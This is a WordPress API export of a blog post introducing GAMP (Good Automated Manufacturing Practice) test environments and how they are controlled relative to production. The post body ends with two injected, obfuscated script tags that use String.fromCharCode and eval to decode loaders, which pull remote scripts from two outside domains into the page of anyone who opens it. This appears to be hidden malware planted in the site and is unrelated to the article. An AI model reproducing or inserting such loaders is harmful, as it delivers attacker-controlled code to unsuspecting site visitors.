{"id":35626,"date":"2015-04-29T14:47:35","date_gmt":"2015-04-29T11:47:35","guid":{"rendered":"https:\/\/smartlogic.co.il\/?p=35626"},"modified":"2015-04-29T14:47:35","modified_gmt":"2015-04-29T11:47:35","slug":"%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-introduction-to-good-automated-manufacturing-practice-gamp-test-environments%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-good-automated-manufacturing-pract","status":"publish","type":"post","link":"https:\/\/smartlogic.co.il\/staging_new\/%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-introduction-to-good-automated-manufacturing-practice-gamp-test-environments%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-good-automated-manufacturing-pract\/","title":{"rendered":"\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4 &#8211; Introduction to GAMP Test Environments"},"content":{"rendered":"<h2 style=\"text-align: center\">\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4 &#8211; Introduction to Good Automated Manufacturing Practice (GAMP) Test Environments<\/h2>\n<p>The environment in which testing is conducted should be determined based on the life cycle output of the risk assessment. The following general principles apply:<\/p>\n<ul>\n<li>The proposed test environment should represent as close as possible the production environment. The differences between the two should be detailed in the <a href=\"http:\/\/www.smartlogic.co.il\/gamp-test-execution\/\">Test Specification <\/a>or Protocol, and should be subject to impact assessment.<\/li>\n<li>The test environment should be controlled and recorded to a level of detail that would allow it to be reconstructed if necessary. Such control includes:<\/li>\n<li>System hardware (HW) and software (SW) components<\/li>\n<li>Test HW (versions, serial numbers, as appropriate)<\/li>\n<li>Test SW (version control of any simulations)<\/li>\n<li>Test data (version control of any test data sets, test recipes, etc.)<\/li>\n<li>Test user accounts<\/li>\n<li>Where test HW\/SW\/data\/user accounts are applied as they may appear in the production environment, controls should be available to ensure that they can either be removed cleanly or isolated from use (either logically or in time).<\/li>\n<li>Where the test environment is required to undergo a temporary change to facilitate the execution of specific tests, both the change and its removal must be formally documented.<\/li>\n<\/ul>\n<h2>\u00a0GAMP Test Environments<\/h2>\n<p>In many circumstances it is undesirable to conduct all testing on the final production environment. Common examples include:<\/p>\n<ul>\n<li>Non-availability of infrastructure at the point in the project life cycle when testing is carried out.<\/li>\n<li>Non-availability of certain interfaces.<\/li>\n<li>Requirement to test changes outside of the production environment prior to installation.<\/li>\n<li>Requirement to carry out tests which may be destructive to the production environment.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>The progression of SW build from a development environment through production environment depends on the risk priority associated with the system being installed or the change being made, and on factors such as the ease of possible modification removal from the system.<\/p>\n<p>A change to a custom data processing module in a large business system may require progression from a development environment to a test environment, to a <a href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-%D7%9E%D7%94-%D7%96%D7%94\/\">validation<\/a> environment, and then to the production environment. This may be required because the change is a high risk priority, and, even if the if the original module could be restored easily, the test data may remain in the production environment.<\/p>\n<p>Some tests, e.g., Performance Qualification (PQ), or part of it, may need to be conducted in the production environment.<\/p>\n<p>&nbsp;<\/p>\n<h2><\/h2>\n<h2><\/h2>\n<h2><\/h2>\n<p>&nbsp;<\/p>\n<h2><\/h2>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4 &#8211; Introduction to Good Automated Manufacturing Practice (GAMP) Test Environments<\/p>\n","protected":false},"author":2,"featured_media":35630,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[179,184,212,392,452,461,475,477,502,504,522],"class_list":["post-35626","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-17","tag-gamp","tag-good-automated-manufacturing-practice","tag-ilan-shaya","tag-test-environments","tag-452","tag-461","tag-475","tag-477","tag-502","tag-504","tag-522"],"_links":{"self":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35626","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/comments?post=35626"}],"version-history":[{"count":0,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35626\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media?parent=35626"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/categories?post=35626"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/tags?post=35626"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}